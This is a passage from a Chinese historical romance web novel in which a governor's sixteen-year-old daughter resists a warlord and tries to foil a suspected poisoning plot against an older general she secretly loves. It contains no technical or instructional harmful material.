“别再对我起心思,别再以为亲我或任何事,会对我有用。我连杀人都不怕,会怕男女那些事?”食指改为遥遥戳指他鼻骨,少女恶狠狠道,“我宁肯嫁乡野乞者,也不跟你虚与委蛇——你听好了,要人没有,要命一条。”
姬临溪转身,刷地将长剑插入门扉夹缝之中,而后猛地使力,狠狠将门闩从中砍断,再抬起右腿,几下踹破。
利索收剑回鞘,将剑背得如脊骨一般笔直,侧身蔑他一眼,头也不回离去。
商曜垂首。
异样未退,反而高亢。
他忽然生出一个念头——
此女必须是他的。越发毫无疑问了。
姬临溪紧紧绷着神情,大步迈向后院厅堂。父母同荀白亲厚,三人并未分案而食,而是各自坐在一张长宽食案的上左右,也正在用饭。
李芝兰起身:“翩翩——”
姬临溪一言不发,弯腰径自拖出食案半丈,在姬昱惊愕神情里,一脚踹翻。陶盘瓦罐打翻满地,汤水横流。
转回面颊,眸光迸裂:“阿父还想做这州牧,还想效忠新的主君,女儿自是鼎力支持。但若欲献祭我而换取仕途周全,我会叫阿父午夜梦回,都后悔亲生子是我,而非我那刀下亡魂。”
再度解剑,一剑砍断手旁木架。跳开一步,一抬下巴,插剑入鞘,转身就走。
李芝兰怔愣许久,慌忙一推荀白:“竞初——”
“我去。”荀白起身,“师母放心。”
堂屋内,姬昱终于回过神:“——她这说的什么话?”眼神里有明显的深深受伤。
“这孩子——”李芝兰也有些不安,“性情真是太——”过刚易折。
她感到说不出的难受。的确是她希望翩翩坚毅而勇敢,但当真十六岁就有情有义手刃仇敌,当真机警果决不畏强权,她又开始担忧,担忧女儿无法再成为谁的妻子。
“还是你教的好。”姬昱幽幽道,“打小送去学武,又说什么漂亮不是拿来利用,是拿来保护——如今好了。你看看你女儿这个模样。连商侯她都不怕,我看是没人能拿得住她了。”
“你说什么?”李芝兰回过神,陡然大吼,“姬逸衡,你再说一遍!”
“若非我教她自保,她这副容貌,现在是什么光景?”李芝兰指着丈夫,“你护她周全了吗?并州人兵临城下之时,你想出法子了吗?”
姬昱叹气,揉揉眉心,不再言语。
荀白在刺史府西门外追上临溪,看她虽放狠话,走出来这几十步就泪流满面,无奈叹气:“翩翩。”
临溪听出是他声线,脚步一顿。
“翩翩。”他上前,礼节握一握臂膊,随后松开,“你同使君之间怕是有些误会。”
“有何误会?”临溪一指堂屋方向,“难道他不是在卖女求荣?”
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“他只是觉得木已成舟,不如结为姻亲。”荀白有话就说,并不遮掩,“你十六岁,本就可以成亲了。使君这样打算,并不是全无道理。”
“什么木已——”临溪顿住,“我知道了。”
气血通了一寸,好歹不再那么郁结。沉默片刻,忽然仰头:“你带我去张掖好不好?”
荀白一怔。
“我不会给你添麻烦。”临溪低下头,“我也可以杀羌人。我杀了郭子昂,你知道吗?”
荀白微微惊讶。
“用你教我的招式……”临溪轻轻一吸鼻子,毫无预兆道,“为什么你要这么老呢。”
声音很轻。他一动不动,心头却蓦然惊起骇浪。
“不说这些了。”临溪别开脸,“你可以教我杀羌人和匈奴人。”
他默然许久,到底无奈一笑,笑容里有着纵容:“胡闹。”
她望着他的眉眼,一颗心脏酸酸楚楚,潮涨潮落,终于被委屈淹没。为什么她十六岁,他就比她大近十六岁?毫无生机,毫无转机。
不需要母亲看出后明里暗里劝阻,她自己也是不愿意的。虽偶尔也会如少女怀春般才下眉头、却上心头,理智终究还是不愿。
一旦思及认识他时他已是鳏夫、小荀霖如今九岁,而自己十六,心思更是瞬间消隐。这太古怪了,真的不需要母亲苦口婆心,也知道虽然真心爱慕一个男子,却不能作践自己。
“荀竞初……”
忽有一支羽箭撕裂空气、呼啸而来,直直从二人头顶穿过,深深刺入身后壁面。
姬临溪倏地闻声望去,就看见那张已经荣膺她此生最恨面庞的可恨俊脸,高高坐在他的照夜白上。放下弓矢,对上她目光,此人竟懒洋洋一笑,以指腹点了一下唇角。
临溪大怒,抬手就要拔剑,荀白伸臂,沉声制止:“翩翩。”
“男子耐心是有限度的。”他低声提醒,“莫再顶撞君侯。”观商曜性情,亦是骄傲又自我的人,并不好说话。
“我怕他?”临溪不肯退让,向前一步,“他能拿我如何!”
“他不高兴,可以拿整个凉州如何。”荀白摁住她的肩膀,耐着性子开导,“你不愿意,善用其他法子周旋。勿一味抵抗冒犯,对你不好。”
临溪怔怔,心头忽然划过一丝失望,说不清道不明的低落。松下肩膀,当真不再去取剑。
商曜远远看着她垂下眼睛,乖顺站在旁人身后,不知为何,心里也生出一缕淡淡不悦,没了笑意。冷眼看她微微散开的发髻一下,果断转身策马离去。
韩朔打马跟在一侧,生出一个大胆猜想:“女公子会不会真的爱慕——”
“怎可能。”商曜否决了。十六和三十,二人简直差上两辈。就姬临溪这种桀骜野蛮女娘,又不缺父亲关怀,不会对年长如此之多的男子动心,依赖兄长罢了。
“但是她——”韩朔斟酌措辞,“女公子在荀竞初面前很是不同。”
他不敢说,少主公于男女相处上毫无经验,所以迟钝,看不出来。但他打赌,姬临溪看荀白,那绝对不是看长辈的目光。
“韩熙良。”商曜淡淡瞥他一眼,“你的脑子,别猜这种事了。”
韩朔顿时笑不出来:“但是……”
“再说,我管她同不同。”
高喝一声,夹紧马腹,迅疾去也。
本来就够有意思了。抢来,只会更有意思。
13. 身毒
姬临溪将深衣襦裙一件件抽落折叠,又将压箱底的匕首塞入衣物内,一副就此分家别过的架势。李芝兰看了半晌,语出惊人:“翩翩,告诉阿母,你同君侯到哪一步。”
临溪手一顿。
“是不是还没有?”李芝兰眼中升起期待,“还没有,对么?你跑掉了,是也不是?”
“不是我跑掉了。”临溪转身,平静答复,“是他不曾真的逼迫。”
李芝兰一愣。
“阿母,女儿不是没有自知之明。”临溪垂头丧气,“寻常矮小羸弱男子,我尚可一敌,军中兵将,拿什么反抗?你怎不瞧瞧他比父亲高大多少。”
其实这也是夫妻二人默认事成的缘由。韩朔体格其实相当魁梧,商曜相对精瘦颀长些,却还要高出一大截,只要动手,临溪毫无可能逃脱。
昨夜夫妇复盘,终于品出不对。观临溪掀桌砍剑的决绝态度,实在不像已经亲密无间。再回顾穆轻鸿所说“衣冠不整到我这里来”,发觉只是片面。
李芝兰也不知该是喜是悲:“万幸翩翩机敏。”
姬临溪将包袱和木箧堆在一处,转回身无奈道:“可是已经这么机敏了,还要靠他大发慈悲。”
痛骂归痛骂,她渐渐承认,商曜这人恶劣,却不算恶劣到无可救药。昨日亲吻绵长缱绻,但她确定,他吻下来那一瞬间,就已经苏醒。
他退开说会待她好时,眼睛里头是清晰且深重的渴盼。姬临溪嗤之以鼻,就这种男子,如若不是真的想了,根本不会哄骗。
但最终还是放她走。夜间临溪依旧感到恐惧,抱着轻鸿,两人都将长剑放在床下,一夜无事,方沉沉睡去。
她不是傻瓜,也看出这男子——总之,她越是坚定反抗,他越是兴致高昂。
曲意迎合他,就能被厌弃。但叫她去学伏低做小红袖添香的做派,她又实在为难。
才对着青铜镜柔柔弱弱一笑,自己先作呕了。
没辙。
“翩翩。”李芝兰长呼一口气,“你别置气。你父亲误会了,才出此下策,绝不是想靠你达成什么。他让我同你道歉。我们以为你——”
临溪望着母亲:“以为什么。”
李芝兰皱一皱眉,她一向对女儿坦诚,还是轻声说出:“以为你失了清白。”
“何谓清白?”
临溪懒得多说。将包袱背好,抱起木箧:“我去武堂住两个月。他何时归晋阳,我何时搬回来。”
李芝兰脱口问:“躲得过去么?”不成归不成,显然已经起了心。
“难道还有别的法子吗。”临溪站定,头也不回,“一开始怕他,想将我嫁荀竞初;现在发觉他和想象的不同,愿意心平气和相处,又想一步到位,将我嫁他。你们从来都没有想过要维护我,我自己维护我自己好了。”
李芝兰听出她哽咽,并未失措,温柔道:“翩翩,不是每次你一哭,就证明你是对的。”
而后低声:“阿母没有法子,你也没有法子的。”
“我如今是有些想你嫁他。”她承认,“他真的能护住你。你生的这般模样,在这乱世里,他真的没有什么不好。你不能耐下心,听听阿母的想法吗?”
临溪一叹:“做妾也可以吗?”
“所以你父亲才说,他会努力周旋,力推你做侯夫人。不想你会解读为,他一心谋求仕途。”李芝兰上前一步,“是因为子昂的事,对你阿父有心结吗?”
临溪回过神,望着母亲双眼:“阿母敢发誓,是全心全意全然信任父亲,信任他真的只是为我好,并无半分借我保住前途的意愿?”
李芝兰抿唇。
临溪又问:“商曜抢走凉州,阿母也不在意?”
“不。”这回母亲却很快地答了,“比起旁的,阿母在意,所以恨过;但比起你,我就不在意了。”
临溪怔了一下,手中木箧忽然一重,费劲眨一眨眼。
“翩翩很漂亮。”母亲走上来,替她挽一挽发髻,动作温柔,声线更柔,“翩翩,你真的很美……装得再凶再粗鲁,也还是美。所以阿母需要一个人,需要他让我相信,他能够护你余生安定。”
“这是母亲的想法。”李芝兰松开手,“你再想想,不必立刻回绝。我想,他大约会在姑臧待上两三个月的。”
姬临溪毫不犹豫转身。
女郎坚韧过头了,真不知是好是坏。李芝兰坐在床沿,默然许久,长叹出声。
月色如水。姬临溪才不管那么多,背着剑鞘就往武堂去。走到第二条街,忽见一长衫汉人靠在角落,同一络腮胡商交谈。
出于本能,躲进墙后。
她听出是安息国语言。译者正在低低转述为中原官话:“……他说请一定放心,此毒毒性甚于乌头和马钱子,只要服下,一炷香内必能毙命。”
仅此一句,想来是交易的最后确认,随后就交付金银。胡人身影很快消失在街道尽头,长衫亦不见踪影。
临溪蹙眉。近些年,胡商往返于中原和西域各国之间,替官宦世家暗渡剧毒,并不算罕见事。但这附近——
眉目一冷。
她记得姬昱提过,商曜麾下谋士邬逊接管刺史衙署,为表友善,免去她家迁居之劳,另行置办小院。
在这附近,但颇有些距离。
是她太多心了吗?每一日,世上都有人在害人性命。
临溪捏紧手指,在脑海中飞速思索。应当不会,邬逊先生为人儒雅友好,且父亲是文官,又真心交出凉州权柄。虽暗地里有些谋算,于商曜而言,没有置之死地的必要。
应当是多心了。抬腿迈出去一步,猛地抬头。
宵禁。
依据宫卫令,昼漏尽后,百姓无故不得夜出,否则被执金吾抓住,会有牢狱风险。姑臧地处边陲,远远不如洛阳和西京等地严苛,但近日凉州营换防,两州骑兵走动频繁,民间百姓都不愿意生事,也就变得极为乖觉了。
已经过了时辰。她有刺史衙署的令牌和姬昱官印符节双重护佑,自然不在乎,那胡商为何非要夤夜前来?
他也有通行令牌。
帮衙署的人做事,才能得到令牌。
临溪心脏遽然急速跳动。
电光火石之间,她又想起一件事。
荀白。
他昨日才入城,今日胡商送毒,邬逊住在附近。
会这么巧吗?
小院内。
商曜安静坐在案首,邬逊、徐砺、韩朔分坐两侧案几,正在听邬逊阐述此事。
“……我以保他小儿在晋阳读书仕途为诱,荀白依旧不为所动。”邬逊凝声道,“可见是断无可能为我们所用。”
“原本我想着,既然此人打定主意不掺和关中局势,我们也不管他就是了,更不必同他起争端。”邬逊眉目一沉,“然昨日宴饮,我却从他部曲中得知一件事。他发妻前些年因病早逝,其兄正是如今的东郡别驾苏杰,扼守兖州。他与兖州刺史府,多年以来一直有书信交通。主公若打算明年取青兖二州,此人依旧要防。”
韩朔察商曜神色,率先开口:“有书信交通,未必就是愿意合谋吧?这荀竞初的确未曾掺和过中原争霸事,他都很少出张掖呢。”
“出过。”
邬逊神色晦暗难辨:“你同少主公年纪太轻,许多事都不知道。十五年前,我们同那时的凉州刺史争夺北地郡一带,正是荀竞初领兵。”
徐砺开口道:“我知先生说的是哪一战。荀白以一敌十,力挽狂澜,大胜而归。那年他十五岁。”
“那时我在老商侯帐前,也算费尽筹谋,辎重粮草,无一不是精打细算,处处严谨。”邬逊沉声,“不防此人三千精骑日夜奔袭,从甘凉腹地直捣我军帅帐,若非他本人并无吞并之心,都不知会不会反攻晋阳。老商侯也在朐衍县被他一箭射伤,至今肩骨逢雨而痛。所以我才一直对少主公说,不必和他争执。他发妻苏氏走得太早,我不曾了解,就不知苏杰原是他妻兄,如今又盘踞兖州,且颇有声势。若知,早就叫主公防备了。此人亲缘淡薄,只一个儿子荀霖,好歹叫苏杰一声亲舅父。就怕若有变故,荀竞初不会袖手旁观。否则既然阿妹已逝,苏杰这么多年还在维系同这妹夫的情谊,所求为何?”
说话间,长史桑烨回到堂屋,只怀中多一木匣:“先生,我取来了。”
邬逊颔首,转向商曜:“凉州集市颇多安息胡商,愿意替人往来身毒。此为身毒国近两年所研制‘伽罗荼泪’,我早有耳闻,只是不得一试。这番来了凉州,索性买来备用。”
韩朔好奇:“这是何意?”
“梵文,当是身毒国的死神之泪。”桑烨微笑,“不知毒力。那安息人说,更高于马钱子一筹。”
马钱子已是罕见剧毒。徐砺和韩朔对视一眼,俱不言语。
“明日姬使君请用晚飨,天赐良机。”邬逊委婉道,“我只是买来,也确实好奇此毒如何用。即便不用在人,也须先以畜一试。主公做抉择吧。但昔日鸿门宴,项羽心软未杀刘邦……”
商曜打断:“不。”
“戍边将领不可杀。”他望回邬逊,语气是一种不容置喙的决断,又扬一扬下颌,“英雄老矣。届时他若援手兖州,亦无惧也。”
韩朔偷偷松了口气。
世人都说武将是活阎王,那是因为不知文人一旦心狠,能有多阴森和诡谲。换他看,八百年见不着影的事——就算明年确实要伐青兖,凉州离这二州那是天堑距离,怎么就要防备了?且妻兄也不是亲兄。
至于十几年前一箭之仇,无非射在肩膀,好说好说。行伍之人皮糙肉厚,这有什么好记仇。
杀了荀竞初,韩朔真会觉得有些抬不起头。那和洛阳那些阉人乱臣何异?
好在少主公不肯。邬逊和桑烨对了下眸子,了解商曜性情,倒也不意外。邬逊道:“那我以老虫一试。万一今后能用在洛阳,也是省事。”
桑烨缓和气氛道:“一份两枚金饼,得派上用场。若是好用,我再去拿。”
这话商曜就没有反驳了,赞许点一点头。
仆从拎来一只灰鼠,打开小锁将它抓出。韩朔顿时面露惊恐道:“我不要杀害小鼠啊!”
韩熙良曾经一人斩首破百,徐砺闻言狠狠肘击。桑烨到底是文人,不大愿意去碰那伽罗荼泪,又不能劳动邬先生
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,尴尬摸一摸鼻尖。好在少主公目含兴味,直接起身到堂屋中央,抓住那小鼠,接过小药丸,利落喂进去。
灰鼠挣扎几下,肚皮朝天。
商曜颇为满意,抬头好奇发问:“身毒此国,究竟是何情景?”
邬逊怔了一下,还真不大清楚。韩朔抱胸抢答:“使君家那女公子说不定知道,她长在凉州,了解地理人文最多。”
无人接腔。
夜间,北风凛冽刺骨。
韩朔拍了拍脸颊:“我生怕少主公一时糊涂呢,军师真是未雨绸缪太过。怎么能去杀荀竞初啊?天下习武之人,有几人不慕他声名。”
商曜嗤道:“我又不是那帮文人。成日就会向内算计。”
“这不是昨日才看见荀将军同那位女公子关系亲厚嘛。”韩朔大大咧咧,“我就怕……”
商曜古怪扫他一眼:“与一妇人何干。”
韩朔嘀咕:“除了漂亮,她没有一点像妇人。”
商曜默然。怎么不像?至少双唇像,像极了。
这一夜却又发生了一件大好事。
穆家夫人赵如霓,从隔壁安宁县娘家,日夜兼程赶回姑臧了。
穆家发家,靠的可不是轻鸿父亲穆丞从军时那一点俸禄,是赵夫人娘家。
赵家那是安宁县实打实的巨贾,老先生年轻时行走西域各国,一分一分攒下基业。然而商户日子过得是不错,一旦拿出去,身份却不体面。
穆丞则是正儿八经上了衙署官牒的年轻郎将。如此一来,他和赵夫人再生孩儿,就脱离商籍,是名正言顺的官宦之后了。
且穆丞这人,无父无母,家中无比清净。在张掖服役时作战勇猛,还得过荀白的提拔,前途大好。
赵老先生替女儿选得很好,不能说不用尽心思。谁知这对小夫妻自己有自己的活法。穆丞屡屡在沙场受伤,赵如霓忍无可忍,逼他辞掉军职,两人又回姑臧经商。
老先生气得呕血,赵如霓不为所动:“我管它士农工商!都是人定的破烂规矩。我就要我一家人齐整平安。”
再后来,长子穆轻山稳重,女儿穆轻鸿可爱。且家里的铜钱堆到麻绳断裂,也用不完。
是这乱世里,难得的圆满。
赵如霓一进门,见两位小娘子平平安安扑上来,不由喜极而泣:“没事就好!”
“没有事。阿母,家中都没有事。”轻鸿抬手去擦母亲泪水,“没有在城里打起来。并州人进了姑臧,也没有抢我们的东西。商行一点事也没有。”
临溪抱住赵如霓胳膊:“阿姑路上还好?”
“路上倒算顺当。”赵如霓一手一个,牵进堂屋,“都怪我。我听说安定被并州人夺去,想着轻鸿外祖生病,回去安置他们一趟,就马上回来。谁料他们行军这样快,转瞬之间又拿了武威。”
“因为驻军根本没有认真抵抗!”临溪握拳,“简直是大开城门,任由并州人来。当然靠不住了。一群鼠辈!信他们,还不如投靠洛阳皇帝呢。”
赵如霓摘下毡帽,摇一摇头:“翩翩,除却战场上打不过,我们凉州人看晋阳,心中原本就一直比洛阳亲。这是两地一直以来交通频频决定,也是没办法。”
两个小娘子从小到大都崇拜赵夫人,一左一右趴着,认真睁大眼睛。
“正如扬州人、南海人说话,你们肯定一句也听不懂。但并州各郡百姓同我们,还是能够交际。天下之事,虽皆为利来,也各有其文脉深远。”赵夫人揽着两个孩子,“不过,夫君和轻山如今在并州地界里,反倒肯定无事。我原以为走镖危险,轻鸿留在姑臧安定,真是世事难料。”
摸一摸轻鸿圆脑袋:“阿母不好。阿母今后再也不会留你一个人。”
轻鸿摇摇头:“外祖还好吗?”
“老样子。”赵夫人叹气,“已是下不了地了。万幸你外祖母矍铄,家里仆妇只需照顾一个,也算井然有序。还是待明年夏,一道接来姑臧吧。”
又关怀临溪:“使君夫妇还好?我听闻你义兄战死,但晋阳那小儿没有动刺史。”
临溪点点头:“父母无事。”
避而不谈郭颐,赵如霓了然。见时辰太晚,自己赶路也困乏,打发二人去睡。
临溪解了发髻,坐在镜前。待轻鸿洗漱回屋,小声问:“你知道近来有什么安息国人做的毒吗?”
“安息国?”轻鸿仔细想一想,“你大约弄错了。以我对安息人的了解,他们的母国酷暑,不宜种植劳作,依赖行商获利,不能随意伤人性命……动辄喊打喊杀,那以后就没人会跟你做生意。毒这东西,多是从身毒国而来。那地方终年瘴热,许多剧毒动物,才易于提炼制毒。”
“那就是身毒国。”临溪紧紧看着她,“有什么新毒吗?”
“一直有啊。”轻鸿压低声音道,“且中原贵族买的也不少,甚至不乏洛阳长安人士,派家丁亲自来凉州取。这种东西用处大,流出去后患无穷,都要请人走镖的。”
“原来如此。”临溪沉吟。
轻鸿有些紧张:“怎么了?你知道谁买毒了?”
“不过看书看到几句。”临溪安慰,“睡吧。”
14. 细纹
次日暮食时分,临溪正在庖厨清洗葵菜,心事重重。
今日轻鸿给武堂女使和小厮算工钱,耽搁许久才回后院,用饭就迟了。收好算筹走过来帮忙,顺口道:“有几位还没发,在你家府上帮忙呢。”
临溪嗯一声:“什么?”
“伯父今晚置飨宴,你家……”仆从都被郭颐害了。
轻鸿避开不提,只道:“伯母哪里忙得过来。早上就递话,让我借几位阿姊小厮过去。”
父母兄长不在,近日她忙不过来,姬临溪做事利落,又肯吃苦,主动帮了不少忙。今天就起大早,把库房里的西域胡瓜装上车,运到集市去卖。
这种新奇果蔬多走武堂商行流入,价格高的时候就要及时抛售,否则一旦堆积,过了时令,会亏在手里。
“飨宴?”临溪一愣,“今晚?”
“是啊。”轻鸿应道,“你父母,荀将军,君侯,君侯那些谋士将军,应当都会赴宴的。”
临溪听到“荀将军”,心脏一紧。
转回身去继续洗菜,心跳却愈发快了。一边小人说,她完全没有把握,连那道文人声线都听不出,也许不是衙署中人;一边小人反驳,万一是呢?
怎么会这么巧?
但如果不是——她搞砸如今双方和解的局面,恐怕连父亲都会勃然大怒。
如果是——她会失去荀竞初。
不对,轮不到她失去。他并不是她什么人。
认识他的时候,她不过十三岁。某日在武堂院中同一小儿郎过招,力气不敌退后数丈,险些倒地时,肩后有力量一撑。
回过头,他温温一笑:“女公子好剑法,只是气力不及儿郎。”
那双眼睛像极了星星。甘凉夜空总是一片极深的黑,而星如白昼缝隙。
有儿郎认出来,欢天喜地上前磕头,叫他大将军。他一个个摸过头,笑容淡而和煦。
临溪站在一旁,乖乖仰头去看。那时她就看见他眼角的细纹。常年居于边疆之地,风霜苦寒留在英俊面庞上的纹路。二十八岁的纹路。
她第一眼就知道没有可能。
她亭亭立在豆蔻枝头,在身后绞紧方巾,羞怯着探头探脑,当头却看见岁月盘踞在心仪之人身上所发芽的皱纹。
再没有比这更伤心的事情了。
后来知道他鳏居多年,至少并无妻妾,心情也只触动那么一刹,随后平息。再有一年正旦,他带了霖儿来姑臧拜见姬昱夫妇,那小童向她行礼,叫翩翩阿姊。
他还叮嘱霖儿,长大后要像保护亲阿姊一样保护她。
临溪一夜没有睡着,湿了枕面,发誓再也不想了。
她是很英勇的小娘子,唯独在这件事上,从没有勇敢过哪怕一回。但至少不能再像失去雪宁阿姊和三古一样,轻易又失去一个人。
姬临溪猛地放下葵菜。
轻鸿看过来。
“你的马呢?”临溪面上镇静,“我归家一趟。”
“就几条街,还要骑马呀。”轻鸿挠头,“在马厩。你去解罢。”
临溪倏地转身奔去。
气也不喘地到了刺史府外,并州籍贯守卫抬手就拦:“何人?”
“姬临溪!”
临溪报上名,一指自己,才要搬出姬昱,两名守卫心照不宣对了下目光,垂首恭敬道:“女公子请。”
临溪知道不再是因为使君女的身份,当下顾不上了,提起裙裾就向里狂奔。至正食屋外,远远看见,众人恰好正在举杯。
荀白就坐在右手侧,李芝兰下座。
一颗心简直要碎迸而出——猛地拔出剑,使劲浑身力气推出去。长剑呼啸穿入堂屋,正正好击落他手中羽觞。
一屋人都倏然望过来。姬临溪猛地跑到荀白身前,抬手紧紧捏住他肩膀:“你喝了吗?”
他一脸错愕,她已经使劲摇晃:“喝了吗?”
“翩翩!”李芝兰率先回过神,脸上一热,“胡闹什么!”
姬昱皱眉:“临溪!”
姬临溪充耳不闻,望住明显已经动过的酒盏,瞬间失了理智,惊慌去推:“吐出来!吐出来!”
“姬临溪!”姬昱已经严厉怒吼。
反而邬逊桑烨等人神色微暗。
韩朔目光呆滞,只剩一个想法:原来真的喜欢荀白啊。
偷偷瞥一眼座首少主公,神色依旧漠然,然而右手紧攥在一处,青筋微突。
姬临溪夺回滚落在地上的长剑,张开手,护在荀白身前:“你们敢说——”
“姬临溪。”姬昱深深呼吸,“滚出去。”
他头回对女儿说这个字,神色隐忍万分:“你给我滚出去。”
临溪怔了一怔,荀白抬手,将她护到身后。再自己转过身,微微弯下腰,柔声问:“不着急,同我说。翩翩是不是误会了什么?”
临溪终于回笼一分理性,猛地看向对面几人。然而昨日夜色深深,实在难以分辨。咬唇片刻,落下泪来:“我不知道……我不知道。”
“我已经喝了。”荀白抬手,礼貌按一按她发顶,“并没有事。你看。”
她哭得肩膀耸动,姬昱脸色差到极点,李芝兰也明显惊慌。唯有荀白冷静柔和,继续安抚:“我无事。翩翩搞错了事情,同诸位叔伯致一声歉,我带了你下去用饭。”
声音里有坚定而深沉的力量。掌心摁在她肩下,将她慢慢转过去:“来。”
“……我弄错了,”她不自觉跟着他说,“惊扰诸位叔伯用饭。很是对不起。”
语毕,躬身行礼。
“无事,无事。”韩朔干笑一声,“我年岁还小呢,不至于叫叔伯吧!女公子叫一声阿兄也是可以。”
徐砺桑烨等人不可思议,齐刷刷看向他。韩熙良究竟是何种疾病?
邬逊却笑了一笑:“女公子行事审慎,是好处。”
“小妹确实一向战战兢兢。”荀白接过话,“也是有郭颐在前,不能不害怕,这才胡闹一通。扫了诸位雅兴,实在是对不住。我带她去用饭。”
牵着临溪起身,揽她向外。
“留步。”
一道淡淡声线。韩朔屏住呼吸,见少主公执觞起身,不紧不慢走到荀白案前。伸手取了案上那盏酒,倒落一杯,微作示意,一饮而尽。
随后抬腕,空杯向下。
临溪望他冷淡神色,下意识向荀白靠近。后者感知到她对此人的畏惧,掌下微微用力。
遒劲腕骨一松,酒觞应声落地。
他脸上又露出那种要笑不笑的倨傲神气,一掀眼睛:“兄妹情深,观之动容。”
姬昱心里直呼不妙,李芝兰也面露尴尬。只韩朔心中小小得意——主公还说以他的脑子别想这种事,现下终于也看出来了!
一个女郎张开手像护雏鸟一样死死护着另一个男子,不是男女之情,还能是什么?
还是死心眼的男女之情!
商曜压了下视线,那冰冷视线在她这张漂亮脸蛋上一流而过。扯一扯唇,扬长而去。
后院堂屋。荀白松手,留在门外。
姬临溪甫一进门,姬昱再克制不住那种濒临失控的暴怒的脾气,狠狠抬起手去。李芝兰眼疾手快,上前一步,攥住丈夫手腕甩开,指着鼻子骂道:“你敢!”
“你看看给你娇惯成什么样子!”姬昱怒指向临溪,“还好是没有闹出什么。否则后果不堪设想!”
“那翩翩肯定是有原因的!”李芝兰毫不犹豫道,转看临溪,“翩翩,你是不是发现了……”
“无论她有没有原因,都不该闯进来闹!”姬昱打断,高声斥责,“三番五次得罪商侯。姬临溪,你是不是以为你真的美甚,天下男子都会一而再再而三地纵容!”
话音一出,屋中死寂。
李芝兰怔忡间,临溪已倏地抬头:“阿父这是什么意思?”
“先是
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不同任何人商量,径自拿主意杀了子昂——他是有错,但何罪至死?”姬昱气血上涌,一时竟脱口道,“而后又将君侯刺伤,又是砍断门页奔逃,桩桩件件,都是不成体统的事。你简直不知衙署众人如何说嘴!你的名节要不要?你的脸面要不要?不要——”
响亮耳光落下。
李芝兰高举着手,肩膀犹在抖动,红着眼睛怒瞪夫君。临溪怔怔片刻,轻声道:“父亲说出来也好。”
“我杀了郭子昂,阿父一直有心结。大约是过不去了。”她笑了一笑,“发泄出来也好。至于旁的,翩翩无话可说。”
背正剑鞘,转身向外,越走越快。
荀白在半步外跟着,直到她倏地停下脚,转身,毫无预兆投入他怀中。
“我不想待在这里了。”她哭着道,“你带我去张掖好不好?”
他在心里叹口气。
终究没有推开,抬手拍了拍她肩背:“你父亲在气头上。”
“他不在气头上也从来不会保护我!只有你可以保护我……只有你。”临溪抬起眼睛,迫切望他双眸,“你看着我。我很漂亮——”
“翩翩。”荀白打断,“不要说这种话。不要轻薄自己。”
她愣了一下。
他说:“你知道。”
她困惑:“我知道什么?”
“你知道,”他慢慢说,“我老了。”
少女眼中滚出热泪。
“我老了。”他忽然轻快一笑,眼角细纹如新生水波月晕般年轻,“对不住了。”
他什么都懂。临溪退后一步。
“本来想跟你说,我真的不在乎。”她哽咽道,“但是发现还是不能骗自己。”
“不能。”他脸上仍是温柔和煦笑意,“我也不能趁小娘子年幼无助,而欺骗你。”
顿一顿,又道:“我原本不来的,只是使君写信,要我表态。明日也就走了。”
两人都点到为止。
临溪最后朦朦胧胧看他一眼,侧身离开。上了马,向城郊军营而去。
徐砺才禀完事,看见姬使君家女公子还在帐外站得笔直,挠一挠脑后。叫了亲兵过来,小声提点:“请她进去。”
“少主公说了不见。”亲兵为难,“要放吗?”
“蠢东西。”徐砺想起韩朔说的小道消息,一掌拍在亲兵背上,无奈道,“好好请进去。以后这位女公子来,别管少主公嘴上怎么说。”
临溪立在内室毡帷外,慢慢换了口气,抬手打开。
商曜人在案后,执牍而坐,头也没抬:“出去。”
“我说完就走。”临溪抿了下唇,以臣属礼仪跽于案下,脊背挺直,“昨夜我路过衙署附近街巷——就是你的谋士邬先生住处附近,偶遇一文士与安息人交易毒药。你或许有所不知,我的友人告诉我,安息商人往返身毒国为中原贵族带回剧毒,总在凉州中转。这是其一。近来姑臧城宵禁严苛,非通行令牌不得夤夜出入,因此我断定此安息胡商手持衙署下发通行令,是替衙署中人做事,这是其二。荀竞初所有战事履历我都记得。十几年前,他曾在北地郡与你晋阳一战,亲手射伤过你父亲。我父亲曾经对我母亲提及,邬先生辅佐老商侯二十多年,无论怎么算,那时都极可能是他作为军师在帐前。见血伤过主公的将领,会阻碍文臣判断。这是其三。”
他终于抬起眼。
“此事是我一人所为,是我一人关心则乱。”她少有这样平静说话的模样,“与我父亲无关,与荀竞初无关,与凉州也无关。他们并无忤逆抵抗意,甚至并非刻意提防,请你明鉴,不必伤了和凉州的情谊。我知河南诸侯明年就要联兵讨你,凉州已是你囊中之物,没有理由再生事端。且我一人做事一人当,随你处置。”
长久寂静过后,他很慢地反问:“随我处置?”
临溪一动不动。
“那很好。”他放下竹简,口吻淡淡,“脱吧。”
15. 心旌
姬临溪倏地起身,毫不犹豫拔剑:“你岂敢辱我?”
他果然冷冷一笑:“不过仗着我纵容你。”
平心而论,这话并没有多少愤怒,他肯直说,堪称奇迹。但姬昱才讲过类似话语,临溪心头蓦地火起,恨恨看他一眼:“你滚吧。谁稀罕。”
“是么。”商曜起身,信步走到她跟前,俯身捏起她下颌,“你以为你何故敢只身前来?”
临溪使劲别开脸:“别碰我——”
“女公子好眼光。”他忽然打断,声音和神情里的讽刺再也藏不住,“你自己十六,就暗自心仪大你十六的老鳏夫。谁看了不说一声眼光独到!”
她挺直脊骨,越发倔强:“这是我自己的事。”
姬临溪虽然疲惫,思路依旧清晰:“我认识他时他并无妻妾,不曾冒犯亡嫂。自知年岁不妥,从没多说一句多做一事,与旁人何干?我父母说嘴也就罢了,轮得到你嘲笑?”
他依旧居高临下,冷眼看着她,手掌施力,托赏她面颊。她忽然受够了这种高高在上的审视,出言相讥:“你所谓纵容,不也就是想要我却没得手吗?若是得过手,没了新鲜,早叫人把我拖下去。这种嘴脸,又比我高贵到哪里去?”
“姬临溪。”他凉凉笑一声,“自信过头了。”
手心缠握她细腻颈项,又打量眉眼稍顷,语气愈发漠然:“你是很美。”
“但荀竞初都不要的,你凭什么以为我还会要?”
临溪一怔。
商曜说出这句,看她眼睛里明显有着受辱后的受伤神色,这才感到胸中那股自看她不顾一切维护荀白就幽幽生出的郁结终于散去三分,甚至有后知后觉的解气快活之感。冷哼一声,松开她,撤了手:“不必再担心了,女公子。”
自顾自在案后坐下。
她呆愣片刻,待回过神他的意思,胸腔陡然涌过一阵劫后余生般的惊喜。面上不显,镇静反问:“你是说,在你回晋阳前,不会再找我麻烦了。是么?”
他懒得说第二遍,只低头打开军牍。
得此大赦,姬临溪哪还会介意他那两句不痛不痒的讥嘲,她巴不得他永远不要她。虽忍住没有笑,但起身蹦高的动作,依旧暴露欢喜情绪。
商曜眯了下眼睛,心底越发生冷。
